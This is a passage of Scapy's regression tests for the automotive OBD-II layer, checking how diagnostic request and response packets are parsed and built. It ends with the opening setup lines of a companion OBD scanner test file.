OBD(b'\x01\x00') assert p.service == 0x01 assert p.pid[0] == 0x00 = Check dissecting a request for Service 01 PID 75 p = OBD(b'\x01\x75') assert p.service == 0x01 assert p.pid[0] == 0x75 = Check dissecting a request for Service 01 PID 78 p = OBD(b'\x01\x78') assert p.service == 0x01 assert p.pid[0] == 0x78 = Check dissecting a request for Service 01 PID 7F p = OBD(b'\x01\x7F') assert p.service == 0x01 assert p.pid[0] == 0x7F = Check dissecting a request for Service 01 PID 89 p = OBD(b'\x01\x89') assert p.service == 0x01 assert p.pid[0] == 0x89 = Check dissecting a request for Service 02 PID 00 p = OBD(b'\x02\x00\x01') assert p.service == 0x02 assert p.requests[0].pid == 0x00 assert p.requests[0].frame_no == 0x01 = Check dissecting a request for Service 02 PID 75 p = OBD(b'\x02\x75\x01') assert p.service == 0x02 assert p.requests[0].pid == 0x75 assert p.requests[0].frame_no == 0x01 = Check dissecting a request for Service 02 PID 78 p = OBD(b'\x02\x78\x01') assert p.service == 0x02 assert p.requests[0].pid == 0x78 assert p.requests[0].frame_no == 0x01 = Check dissecting a request for Service 02 PID 7F p = OBD(b'\x02\x7F\x01') assert p.service == 0x02 assert p.requests[0].pid == 0x7F assert p.requests[0].frame_no == 0x01 = Check dissecting a request for Service 02 PID 89 p = OBD(b'\x02\x89\x01') assert p.service == 0x02 assert p.requests[0].pid == 0x89 assert p.requests[0].frame_no == 0x01 = Check dissecting a request for Service 03 p = OBD(b'\x03') assert p.service == 0x03 = Check dissecting a request for Service 06 p = OBD(b'\x06\x01') assert p.service == 0x06 assert p.mid[0] == 0x01 = Check dissecting a request for Service 06 MID 00 p = OBD(b'\x06\x00') assert p.service == 0x06 assert p.mid[0] == 0x00 = Check dissecting a request for Service 06 MID 00,01,02,03,04 p = OBD(b'\x06\x00\x01\x02\x03\x04') assert p.service == 0x06 assert p.mid[0] == 0x00 assert p.mid[1] == 0x01 assert p.mid[2] == 0x02 assert p.mid[3] == 0x03 assert p.mid[4] == 0x04 = Check dissecting a response for Service 06 MID 00 r = OBD(b'\x06\x00') p = OBD(b'\x46\x00\x00\x00\x00\x00') assert p.service == 0x46 assert p.data_records[0].mid == 0x00 assert p.data_records[0].supported_mids == "" assert p.answers(r) = Check dissecting a response for Service 06 MID 00 and MID 20 r = OBD(b'\x06\x20\x00') p = OBD(b'\x46\x00\x01\x02\x03\x04\x20\x01\x02\x03\x04') assert p.service == 0x46 assert p.data_records[0].mid == 0x00 assert p.data_records[0].supported_mids == "MID1E+MID18+MID17+MID0F+MID08" assert p.data_records[1].mid == 0x20 assert p.data_records[1].supported_mids == "MID3E+MID38+MID37+MID2F+MID28" assert p.answers(r) r = OBD(b'\x06\x20\x00\x40\x60') assert p.answers(r) r = OBD(b'\x06\x20') assert not p.answers(r) = Check dissecting a response for Service 06 MID 00, 20, 40, 60, 80, A0 p = OBD(b'\x46\x00\x01\x02\x03\x04\x20\x01\x02\x03\x04\x40\x01\x02\x03\x04\x60\x01\x02\x03\x04\x80\x01\x02\x03\x04\xA0\x01\x02\x03\x04') assert p.service == 0x46 assert p.data_records[0].mid == 0x00 assert p.data_records[0].supported_mids == "MID1E+MID18+MID17+MID0F+MID08" assert p.data_records[1].mid == 0x20 assert p.data_records[1].supported_mids == "MID3E+MID38+MID37+MID2F+MID28" assert p.data_records[2].mid == 0x40 assert p.data_records[2].supported_mids == "MID5E+MID58+MID57+MID4F+MID48" assert p.data_records[3].mid == 0x60 assert p.data_records[3].supported_mids == "MID7E+MID78+MID77+MID6F+MID68" assert p.data_records[4].mid == 0x80 assert p.data_records[4].supported_mids == "MID9E+MID98+MID97+MID8F+MID88" assert p.data_records[5].mid == 0xA0 assert p.data_records[5].supported_mids == "MIDBE+MIDB8+MIDB7+MIDAF+MIDA8" assert len(p.data_records) == 6 r = OBD(b'\x06\x00\x20\x40\x60\x80\xA0') assert p.answers(r) = Check dissecting a response for Service 06 MID 01 p = OBD(b'\x46\x01\x01\x0A\x0B\xB0\x0B\xB0\x0B\xB0\x01\x05\x10\x00\x48\x00\x00\x00\x64\x01\x85\x24\x00\x96\x00\x4B\xFF\xFF') assert p.service == 0x46 assert p.data_records[0].mid == 0x01 assert p.data_records[0].standardized_test_id == 1 assert p.data_records[0].unit_and_scaling_id == 10 assert p.data_records[0].test_value == 365.024 assert p.data_records[0].min_limit == 365.024 assert p.data_records[0].max_limit == 365.024 assert "Voltage" in p.data_records[0].__repr__() assert "365.024 mV" in p.data_records[0].__repr__() assert p.data_records[1].mid == 0x01 assert p.data_records[1].standardized_test_id == 5 assert p.data_records[1].unit_and_scaling_id == 16 assert p.data_records[1].test_value == 72 assert p.data_records[1].min_limit == 0 assert p.data_records[1].max_limit == 100 assert "Time" in p.data_records[1].__repr__() assert "72 ms" in p.data_records[1].__repr__() assert p.data_records[2].mid == 0x01 assert p.data_records[2].standardized_test_id == 0x85 assert p.data_records[2].unit_and_scaling_id == 0x24 assert p.data_records[2].test_value == 150 assert p.data_records[2].min_limit == 75 assert p.data_records[2].max_limit == 65535 assert "Counts" in p.data_records[2].__repr__() assert "150 counts" in p.data_records[2].__repr__() assert len(p.data_records) == 3 r = OBD(b'\x06\x01') assert p.answers(r) r = OBD(b'\x06\x01\x01\x01') assert p.answers(r) r = OBD(b'\x06\x01\x02') assert p.answers(r) = Check dissecting a response for Service 06 MID 21 p = OBD(b'\x46\x21\x87\x2F\x00\x00\x00\x00\x00\x00') p.show() assert p.service == 0x46 assert p.data_records[0].mid == 0x21 assert p.data_records[0].standardized_test_id == 135 assert p.data_records[0].unit_and_scaling_id == 0x2F assert p.data_records[0].test_value == 0 assert p.data_records[0].min_limit == 0 assert p.data_records[0].max_limit == 0 assert "Percent" in p.data_records[0].__repr__() assert "0 %" in p.data_records[0].__repr__() assert len(p.data_records) == 1 r = OBD(b'\x06\x21') assert p.answers(r) = Check dissecting a request for Service 09 IID 00 p = OBD(b'\x09\x00') assert p.service == 0x09 assert p.iid[0] == 0x00 = Check dissecting a request for Service 09 IID 02 p = OBD(b'\x09\x02') assert p.service == 0x09 assert p.iid[0] == 0x02 = Check dissecting a request for Service 09 IID 04 p = OBD(b'\x09\x04') assert p.service == 0x09 assert p.iid[0] == 0x04 = Check dissecting a request for Service 09 IID 00 and IID 02 and IID 04 p = OBD(b'\x09\x00\x02\x04') assert p.service == 0x09 assert p.iid[0] == 0x00 assert p.iid[1] == 0x02 assert p.iid[2] == 0x04 = Check dissecting a request for Service 09 IID 0A p = OBD(b'\x09\x0A') assert p.service == 0x09 assert p.iid[0] == 0x0A = Check dissecting a response for Service 01 PID 75 p = OBD(b'\x41\x75\x0a\x00\x11\x22\x33\x44\x55') assert p.service == 0x41 assert p.data_records[0].pid == 0x75 assert p.data_records[0].reserved == 0 assert p.data_records[0].turbo_a_turbine_outlet_temperature_supported == 1 assert p.data_records[0].turbo_a_turbine_inlet_temperature_supported == 0 assert p.data_records[0].turbo_a_compressor_outlet_temperature_supported == 1 assert p.data_records[0].turbo_a_compressor_inlet_temperature_supported == 0 assert p.data_records[0].turbocharger_a_compressor_inlet_temperature == 0x00-40 assert p.data_records[0].turbocharger_a_compressor_outlet_temperature == 0x11-40 assert p.data_records[0].turbocharger_a_turbine_inlet_temperature == \ round((0x2233 * 0.1) - 40, 3) assert p.data_records[0].turbocharger_a_turbine_outlet_temperature == \ round((0x4455 * 0.1) - 40, 3) r = OBD(b'\x01\x75') assert p.answers(r) = Check dissecting a response for Service 01 PID 00 and PID 20 p = OBD(b'\x41\x00\xBF\xBF\xA8\x91\x20\x80\x00\x00\x00') assert p.service == 0x41 assert p.data_records[0].pid == 0 assert p.data_records[0].supported_pids == "PID20+PID1C+PID19+PID15+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID09+PID08+PID07+PID06+PID05+PID04+PID03+PID01" assert p.data_records[1].pid == 0x20 assert p.data_records[1].supported_pids == "PID21" assert len(p.data_records) == 2 r = OBD(b'\x01\x00\x20') assert p.answers(r) = Check dissecting a response for Service 01 PID 05,01,15,0C,03 p = OBD(b'\x41\x05\x6e\x01\x83\x33\xff\x63\x15\xa0\x78\x0c\x0a\x6b\x03\x02\x00') p.show() assert p.service == 0x41 assert p.data_records[0].pid == 5 assert p.data_records[0].data == 70.0 assert p.data_records[1].pid == 0x1 assert p.data_records[2].pid == 0x15 assert p.data_records[2].outputVoltage == 0.8 assert p.data_records[2].trim == -6.25 assert p.data_records[3].pid == 12 assert p.data_records[3].data == 666.75 assert p.data_records[4].pid == 3 assert p.data_records[4].fuel_system1 == 0x02 assert p.data_records[4].fuel_system2 == 0 assert len(p.data_records) == 5 r = OBD(b'\x01\x05\x01\x15\x0c\x03') assert p.answers(r) r = OBD(b'\x01\x05\x01\x15') assert not p.answers(r) r = OBD(b'\x01\x02') assert not p.answers(r) p = OBD(b'\x41\x00\xBF\xBF\xA8\x91\x20\x80\x00\x00\x00') p.show() assert p.service == 0x41 assert p.data_records[0].pid == 0 assert p.data_records[0].supported_pids == "PID20+PID1C+PID19+PID15+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID09+PID08+PID07+PID06+PID05+PID04+PID03+PID01" assert p.data_records[1].pid == 0x20 assert p.data_records[1].supported_pids == "PID21" assert len(p.data_records) == 2 r = OBD(b'\x01\x00\x20') assert p.answers(r) = Check dissecting a response for Service 01 PID 78 p = OBD(b'\x41\x78ABCDEFGHI') assert p.service == 0x41 assert p.data_records[0].pid == 0x78 assert p.data_records[0].reserved == 4 assert p.data_records[0].sensor1_supported == 1 assert p.data_records[0].sensor2_supported == 0 assert p.data_records[0].sensor3_supported == 0 assert p.data_records[0].sensor4_supported == 0 assert p.data_records[0].sensor1 == 1656.3 assert p.data_records[0].sensor2 == 1707.7 assert p.data_records[0].sensor3 == 1759.1 assert p.data_records[0].sensor4 == 1810.5 r = OBD(b'\x01\x78') assert p.answers(r) = Check dissecting a response for Service 01 PID 7F p = OBD(b'\x41\x7F\x0a' b'\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF' b'\x01\x02\x03\x04\x05\x06\x07\x08' b'\x00\x11\x22\x33\x44\x55\x66\x77') assert p.service == 0x41 assert p.data_records[0].pid == 0x7F assert p.data_records[0].reserved == 1 assert p.data_records[0].total_with_pto_active_supported == 0 assert p.data_records[0].total_idle_supported == 1 assert p.data_records[0].total_supported == 0 assert p.data_records[0].total == 0xFFFFFFFFFFFFFFFF assert p.data_records[0].total_idle == 0x0102030405060708 assert p.data_records[0].total_with_pto_active == 0x0011223344556677 r = OBD(b'\x01\x7f') assert p.answers(r) = Check dissecting a response for Service 01 PID 89 p = OBD(b'\x41\x89ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP') assert p.service == 0x41 assert p.data_records[0].pid == 0x89 assert p.data_records[0].data == b'ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP' r = OBD(b'\x01\x89') assert p.answers(r) = Check dissecting a response for Service 02 PID 75 p = OBD(b'\x42\x75\01\x0a\x00\x11\x22\x33\x44\x55') assert p.service == 0x42 assert p.data_records[0].pid == 0x75 assert p.data_records[0].frame_no == 0x01 assert p.data_records[0].reserved == 0 assert p.data_records[0].turbo_a_turbine_outlet_temperature_supported == 1 assert p.data_records[0].turbo_a_turbine_inlet_temperature_supported == 0 assert p.data_records[0].turbo_a_compressor_outlet_temperature_supported == 1 assert p.data_records[0].turbo_a_compressor_inlet_temperature_supported == 0 assert p.data_records[0].turbocharger_a_compressor_inlet_temperature == 0x00 - 40 assert p.data_records[0].turbocharger_a_compressor_outlet_temperature == 0x11 - 40 assert p.data_records[0].turbocharger_a_turbine_inlet_temperature == \ round((0x2233 * 0.1) - 40, 3) assert p.data_records[0].turbocharger_a_turbine_outlet_temperature == \ round((0x4455 * 0.1) - 40, 3) r = OBD(b'\x02\x75') assert p.answers(r) = Check dissecting a response for Service 02 PID 78 p = OBD(b'\x42\x78\x05ABCDEFGHI') assert p.service == 0x42 assert p.data_records[0].pid == 0x78 assert p.data_records[0].frame_no == 0x05 assert p.data_records[0].reserved == 4 assert p.data_records[0].sensor1_supported == 1 assert p.data_records[0].sensor2_supported == 0 assert p.data_records[0].sensor3_supported == 0 assert p.data_records[0].sensor4_supported == 0 assert p.data_records[0].sensor1 == 1656.3 assert p.data_records[0].sensor2 == 1707.7 assert p.data_records[0].sensor3 == 1759.1 assert p.data_records[0].sensor4 == 1810.5 r = OBD(b'\x02\x78') assert p.answers(r) = Check dissecting a response for Service 02 PID 7F p = OBD(b'\x42\x7F\x01\x03' b'\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF' b'\x01\x02\x03\x04\x05\x06\x07\x08' b'\x00\x11\x22\x33\x44\x55\x66\x77') assert p.service == 0x42 assert p.data_records[0].pid == 0x7F assert p.data_records[0].frame_no == 0x01 assert p.data_records[0].reserved == 0 assert p.data_records[0].total_with_pto_active_supported == 0 assert p.data_records[0].total_idle_supported == 1 assert p.data_records[0].total_supported == 1 assert p.data_records[0].total == 0xFFFFFFFFFFFFFFFF assert p.data_records[0].total_idle == 0x0102030405060708 assert p.data_records[0].total_with_pto_active == 0x0011223344556677 r = OBD(b'\x02\x7F') assert p.answers(r) = Check dissecting a response for Service 02 PID 89 p = OBD(b'\x42\x89\x01ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP') assert p.service == 0x42 assert p.data_records[0].pid == 0x89 assert p.data_records[0].frame_no == 0x01 assert p.data_records[0].data == b'ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP' r = OBD(b'\x02\x89') assert p.answers(r) = Check dissecting a response for Service 02 PID 0C, 05, 04 p = OBD(b'\x42\x0c\x00\x20\x80\x04\x00\x80\x05\x00\x28') assert p.service == 0x42 assert p.data_records[0].pid == 0x0C assert p.data_records[0].frame_no == 0x0 assert p.data_records[0].data == 2080 assert p.data_records[1].pid == 0x04 assert p.data_records[1].frame_no == 0x0 assert p.data_records[1].data == 50.196 assert p.data_records[2].pid == 0x05 assert p.data_records[2].frame_no == 0x0 assert p.data_records[2].data == 0.0 r = OBD(b'\x02\x0c\x00\x04\x00\x05\x00') r.show() assert p.answers(r) = Check dissecting a response for Service 03 p = OBD(b'\x43\x06\x01\x43\x01\x96\x02\x34\x02\xcd\x03\x57\x0a\x24') assert p.service == 0x43 assert p.count == 6 assert bytes(p.dtcs[0]) == b'\x01\x43' assert bytes(p.dtcs[1]) == b'\x01\x96' assert bytes(p.dtcs[2]) == b'\x02\x34' assert bytes(p.dtcs[3]) == b'\x02\xcd' assert bytes(p.dtcs[4]) == b'\x03\x57' assert bytes(p.dtcs[5]) == b'\x0a\x24' r = OBD(b'\x03') assert p.answers(r) = Check dissecting a response for Service 07 p = OBD(b'\x47\x06\x01\x43\x01\x96\x02\x34\x02\xcd\x03\x57\x0a\x24') assert p.service == 0x47 assert p.count == 6 assert bytes(p.dtcs[0]) == b'\x01\x43' assert bytes(p.dtcs[1]) == b'\x01\x96' assert bytes(p.dtcs[2]) == b'\x02\x34' assert bytes(p.dtcs[3]) == b'\x02\xcd' assert bytes(p.dtcs[4]) == b'\x03\x57' assert bytes(p.dtcs[5]) == b'\x0a\x24' r = OBD(b'\x07') assert p.answers(r) = Check dissecting a response for Service 08 Tid 00 p = OBD(b'\x48\x00ABCD') assert p.service == 0x48 assert p.data_records[0].tid == 0x00 assert p.data_records[0].supported_tids == "TID1E+TID1A+TID18+TID17+TID12+TID0F+TID0A+TID08+TID02" r = OBD(b'\x08\x00') assert p.answers(r) = Check dissecting a response for Service 08 Tid 01 p = OBD(b'\x48\x01\x00\x00"\xffd') assert p.service == 0x48 assert p.data_records[0].tid == 0x01 assert p.data_records[0].data_a == 0.0 assert p.data_records[0].data_b == 0.0 assert p.data_records[0].data_c == 0.17 assert p.data_records[0].data_d == 1.275 assert p.data_records[0].data_e == 0.5 r = OBD(b'\x08\x01') assert p.answers(r) = Check dissecting a response for Service 08 Tid 05 p = OBD(b'\x48\x05\x00\x00\x2b\xff\x7d') assert p.service == 0x48 assert p.data_records[0].tid == 0x05 assert p.data_records[0].data_a == 0.0 assert p.data_records[0].data_b == 0.0 assert p.data_records[0].data_c == 0.172 assert p.data_records[0].data_d == 1.02 assert p.data_records[0].data_e == 0.5 r = OBD(b'\x08\x05') assert p.answers(r) = Check dissecting a response for Service 08 Tid 09 p = OBD(b'\x48\x09\x00\x00\x04\x1a\x0c') assert p.service == 0x48 assert p.data_records[0].tid == 0x09 assert p.data_records[0].data_a == 0.0 assert p.data_records[0].data_b == 0.0 assert p.data_records[0].data_c == 0.16 assert p.data_records[0].data_d == 1.04 assert p.data_records[0].data_e == 0.48 r = OBD(b'\x08\x09') assert p.answers(r) = Check dissecting a response for Service 09 IID 00 p = OBD(b'\x49\x00ABCD') assert p.service == 0x49 assert p.data_records[0].iid == 0x00 assert p.data_records[0].supported_iids == "IID1E+IID1A+IID18+IID17+IID12+IID0F+IID0A+IID08+IID02" r = OBD(b'\x09\x00') assert p.answers(r) = Check dissecting a response for Service 09 IID 02 with one VIN p = OBD(b'\x49\x02\x01W0L000051T2123456') assert p.service == 0x49 assert p.data_records[0].iid == 0x02 assert p.data_records[0].count == 0x01 assert p.data_records[0].vehicle_identification_numbers[0] == b'W0L000051T2123456' r = OBD(b'\x09\x02') assert p.answers(r) = Check dissecting a response for Service 09 IID 02 with two VINs p = OBD(b'\x49\x02\x02W0L000051T2123456W0L000051T2123456') assert p.service == 0x49 assert p.data_records[0].iid == 0x02 assert p.data_records[0].count == 0x02 assert p.data_records[0].vehicle_identification_numbers[0] == b'W0L000051T2123456' assert p.data_records[0].vehicle_identification_numbers[1] == b'W0L000051T2123456' r = OBD(b'\x09\x02') assert p.answers(r) = Check dissecting a response for Service 09 IID 04 with one CID p = OBD(b'\x49\x04\x01ABCDEFGHIJKLMNOP') assert p.service == 0x49 assert p.data_records[0].iid == 0x04 assert p.data_records[0].count == 0x01 assert p.data_records[0].calibration_identifications[0] == b'ABCDEFGHIJKLMNOP' r = OBD(b'\x09\x04') assert p.answers(r) = Check dissecting a response for Service 09 IID 04 with two CID p = OBD(b'\x49\x04\x02ABCDEFGHIJKLMNOPABCDEFGHIJKLMNOP') assert p.service == 0x49 assert p.data_records[0].iid == 0x04 assert p.data_records[0].count == 0x02 assert p.data_records[0].calibration_identifications[0] == b'ABCDEFGHIJKLMNOP' assert p.data_records[0].calibration_identifications[1] == b'ABCDEFGHIJKLMNOP' r = OBD(b'\x09\x04') assert p.answers(r) = Check dissecting a response for Service 09 IID 06 p = OBD(b'\x49\x06\x02ABCDEFGH') assert p.service == 0x49 assert p.data_records[0].iid == 0x06 assert p.data_records[0].count == 0x02 assert p.data_records[0].calibration_verification_numbers[0] == b'ABCD' assert p.data_records[0].calibration_verification_numbers[1] == b'EFGH' r = OBD(b'\x09\x06') assert p.answers(r) = Check dissecting a response for Service 09 IID 08 p = OBD(b'\x49\x08\x09\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x06\x00\x07\x00\x08\xFF\xFF') assert p.service == 0x49 assert p.data_records[0].iid == 0x08 assert p.data_records[0].count == 0x09 assert p.data_records[0].data[0] == 1 assert p.data_records[0].data[1] == 2 assert p.data_records[0].data[2] == 3 assert p.data_records[0].data[3] == 4 assert p.data_records[0].data[4] == 5 assert p.data_records[0].data[5] == 6 assert p.data_records[0].data[6] == 7 assert p.data_records[0].data[7] == 8 assert p.data_records[0].data[8] == 65535 r = OBD(b'\x09\x08') assert p.answers(r) = Check dissecting a response for Service 09 IID 0A p = OBD(b'\x49\x0A\x01ECM\x00-Engine Control\x00') assert p.service == 0x49 assert p.data_records[0].iid == 0x0A assert p.data_records[0].count == 0x01 assert p.data_records[0].ecu_names[0] == b'ECM\x00-Engine Control\x00' r = OBD(b'\x09\x0a') assert p.answers(r) = Check dissecting a response for Service 09 IID 0B p = OBD(b'\x49\x0B\x05\x00\x01\x00\x02\x00\x03\x00\x04\xFF\xFF') assert p.service == 0x49 assert p.data_records[0].iid == 0x0B assert p.data_records[0].count == 0x05 assert p.data_records[0].data[0] == 1 assert p.data_records[0].data[1] == 2 assert p.data_records[0].data[2] == 3 assert p.data_records[0].data[3] == 4 assert p.data_records[0].data[4] == 65535 r = OBD(b'\x09\x0b') assert p.answers(r) = Check dissecting a response for Service 09 IID 02 and IID 04 p = OBD(b'\x49\x02\x01ABCDEFGHIJKLMNOPQ\x04\x01ABCDEFGHIJKLMNOP') assert p.service == 0x49 assert p.data_records[0].iid == 0x02 assert p.data_records[0].count == 0x01 assert p.data_records[0].vehicle_identification_numbers[0] == b'ABCDEFGHIJKLMNOPQ' assert p.data_records[1].iid == 0x04 assert p.data_records[1].count == 0x01 assert p.data_records[1].calibration_identifications[0] == b'ABCDEFGHIJKLMNOP' r = OBD(b'\x09\x02\x04') assert p.answers(r) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x02' assert b[2:3] == b'\x01' assert b[3:20] == b'ABCDEFGHIJKLMNOPQ' assert b[20:21] == b'\x04' assert b[21:22] == b'\x01' assert b[22:] == b'ABCDEFGHIJKLMNOP' = Check building a request for Service 01 PID 00 p = OBD()/OBD_S01(pid=0x00) b = bytes(p) assert b[0:1] == b'\x01' assert b[1:2] == b'\x00' = Check building a request for Service 01 PID 75 p = OBD()/OBD_S01(pid=0x75) b = bytes(p) assert b[0:1] == b'\x01' assert b[1:2] == b'\x75' = Check building a request for Service 01 PID 78 p = OBD()/OBD_S01(pid=0x78) b = bytes(p) assert b[0:1] == b'\x01' assert b[1:2] == b'\x78' = Check building a request for Service 01 PID 7F p = OBD()/OBD_S01(pid=0x7F) b = bytes(p) assert b[0:1] == b'\x01' assert b[1:2] == b'\x7F' = Check building a request for Service 01 PID 89 p = OBD()/OBD_S01(pid=0x89) b = bytes(p) assert b[0:1] == b'\x01' assert b[1:2] == b'\x89' = Check building a request for Service 02 PID 00 p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x00, frame_no=0x01)]) b = bytes(p) assert b[0:1] == b'\x02' assert b[1:2] == b'\x00' assert b[2:3] == b'\x01' = Check building a request for Service 02 PID 75 p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x75, frame_no=0x01)]) b = bytes(p) assert b[0:1] == b'\x02' assert b[1:2] == b'\x75' assert b[2:3] == b'\x01' = Check building a request for Service 02 PID 78 p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x78, frame_no=0x01)]) b = bytes(p) assert b[0:1] == b'\x02' assert b[1:2] == b'\x78' assert b[2:3] == b'\x01' = Check building a request for Service 02 PID 7F p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x7F, frame_no=0x01)]) b = bytes(p) assert b[0:1] == b'\x02' assert b[1:2] == b'\x7F' assert b[2:3] == b'\x01' = Check building a request for Service 02 PID 89 p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x89, frame_no=0x01)]) b = bytes(p) assert b[0:1] == b'\x02' assert b[1:2] == b'\x89' assert b[2:3] == b'\x01' = Check building a request for Service 03 p = OBD()/OBD_S03() assert p.service == 0x03 = Check building a request for Service 02 PID 7F p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x7F, frame_no=0x01)]) b = bytes(p) assert b[0:1] == b'\x02' assert b[1:2] == b'\x7F' assert b[2:3] == b'\x01' = Check building a request for Service 09 IID 00 p = OBD()/OBD_S09(iid=0x00) b = bytes(p) assert b[0:1] == b'\x09' assert b[1:2] == b'\x00' = Check building a request for Service 09 IID 02 p = OBD()/OBD_S09(iid=0x02) b = bytes(p) assert b[0:1] == b'\x09' assert b[1:2] == b'\x02' = Check building a request for Service 09 IID 04 p = OBD()/OBD_S09(iid=0x04) b = bytes(p) assert b[0:1] == b'\x09' assert b[1:2] == b'\x04' = Check building a request for Service 09 IID 00 and IID 02 and IID 04 p = OBD()/OBD_S09(iid=[0x00, 0x02, 0x04]) b = bytes(p) assert b[0:1] == b'\x09' assert b[1:2] == b'\x00' assert b[2:3] == b'\x02' assert b[3:4] == b'\x04' = Check building a request for Service 09 IID 0A p = OBD()/OBD_S09(iid=0x0A) b = bytes(p) assert b[0:1] == b'\x09' assert b[1:2] == b'\x0A' = Check building a response for Service 03 p = OBD()/OBD_S03_PR(dtcs=[OBD_DTC(), OBD_DTC(location='Powertrain', code1=1, code2=3, code3=0, code4=1)]) b = bytes(p) assert b[0:1] == b'\x43' assert b[1:2] == b'\x02' assert b[2:4] == b'\x00\x00' assert b[4:6] == b'\x13\x01' r = OBD(b'\x03') assert p.answers(r) = Check building a default response for Service 03 p = OBD()/OBD_S03_PR() b = bytes(p) assert len(p) == 2 assert b[0:1] == b'\x43' assert b[1:2] == b'\x00' assert p.dtcs == [] r = OBD(b'\x03') assert p.answers(r) = Check building a response for Service 07 p = OBD()/OBD_S07_PR(dtcs=[OBD_DTC(location='Chassis', code1=0, code2=5, code3=1, code4=0)]) b = bytes(p) assert b[0:1] == b'\x47' assert b[1:2] == b'\x01' assert b[2:4] == b'\x45\x10' r = OBD(b'\x07') assert p.answers(r) = Check building a default response for Service 07 p = OBD()/OBD_S07_PR() b = bytes(p) assert len(p) == 2 assert b[0:1] == b'\x47' assert b[1:2] == b'\x00' assert p.dtcs == [] r = OBD(b'\x07') assert p.answers(r) = Check building a response for Service 0A p = OBD()/OBD_S0A_PR(dtcs=[OBD_DTC(), OBD_DTC(location='Body', code1=1, code2=7, code3=8, code4=2), OBD_DTC()]) b = bytes(p) assert b[0:1] == b'\x4A' assert b[1:2] == b'\x03' assert b[2:4] == b'\x00\x00' assert b[4:6] == b'\x97\x82' assert b[6:8] == b'\x00\x00' r = OBD(b'\x0a') assert p.answers(r) = Check building a default response for Service 0A p = OBD()/OBD_S0A_PR() b = bytes(p) assert len(p) == 2 assert b[0:1] == b'\x4A' assert b[1:2] == b'\x00' assert p.dtcs == [] r = OBD(b'\x0a') assert p.answers(r) = Check building a response for Service 09 IID 00 p = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID00(b'ABCD')) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x00' assert b[2:] == b'ABCD' r = OBD(b'\x09\x00') assert p.answers(r) = Check building a response for Service 09 IID 02 with one VIN p = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID02(vehicle_identification_numbers=b'W0L000051T2123456')) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x02' assert b[2:3] == b'\x01' assert b[3:] == b'W0L000051T2123456' r = OBD(b'\x09\x02') assert p.answers(r) = Check building a response for Service 09 IID 02 with two VINs p = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID02(vehicle_identification_numbers=[b'W0L000051T2123456', b'W0L000051T2123456'])) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x02' assert b[2:3] == b'\x02' assert b[3:20] == b'W0L000051T2123456' assert b[20:] == b'W0L000051T2123456' r = OBD(b'\x09\x02') assert p.answers(r) = Check building a response for Service 09 IID 04 with one CID p = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID04(calibration_identifications=b'ABCDEFGHIJKLMNOP')) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x04' assert b[2:3] == b'\x01' assert b[3:] == b'ABCDEFGHIJKLMNOP' r = OBD(b'\x09\x04') assert p.answers(r) = Check building a response for Service 09 IID 04 with two CID p = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID04(calibration_identifications=[b'ABCDEFGHIJKLMNOP', b'ABCDEFGHIJKLMNOP'])) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x04' assert b[2:3] == b'\x02' assert b[3:19] == b'ABCDEFGHIJKLMNOP' assert b[19:] == b'ABCDEFGHIJKLMNOP' r = OBD(b'\x09\x04') assert p.answers(r) = Check building a response for Service 09 IID 0A p = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID0A(ecu_names=b'ABCDEFGHIJKLMNOPQRST')) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x0A' assert b[2:3] == b'\x01' assert b[3:] == b'ABCDEFGHIJKLMNOPQRST' r = OBD(b'\x09\x0a') assert p.answers(r) = Check building a response for Service 09 IID 02 and IID 04 p = OBD(service=0x49)/OBD_S09_PR(data_records=[ OBD_S09_PR_Record()/OBD_IID02(vehicle_identification_numbers=b'ABCDEFGHIJKLMNOPQ'), OBD_S09_PR_Record()/OBD_IID04(calibration_identifications=b'ABCDEFGHIJKLMNOP') ]) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x02' assert b[2:3] == b'\x01' assert b[3:20] == b'ABCDEFGHIJKLMNOPQ' assert b[20:21] == b'\x04' assert b[21:22] == b'\x01' assert b[22:] == b'ABCDEFGHIJKLMNOP' r = OBD(b'\x09\x02\x04') assert p.answers(r) scapy-2.4.4/test/contrib/automotive/obd/scanner.uts000066400000000000000000000566771372370053500224370ustar00rootroot00000000000000% Regression tests for obd_scan + Configuration ~ conf = Imports load_layer("can", globals_dict=globals()) conf.contribs['CAN']['swap-bytes'] = False import subprocess, sys import scapy.modules.six as six from subprocess import call from scapy.consts import LINUX = Definition of constants, utility functions and mock classes iface0 = "vcan0" iface1 = "vcan1" # function to exit when the can-isotp kernel module is not available ISOTP_KERNEL_MODULE_AVAILABLE = False def exit_if_no_isotp_module(): if not ISOTP_KERNEL_MODULE_AVAILABLE: err = "TEST SKIPPED: can-isotp not available\n" sys.__stderr__.write(err) warning("Can't test ISOTP native socket because kernel module is not loaded") exit(0) = Initialize a 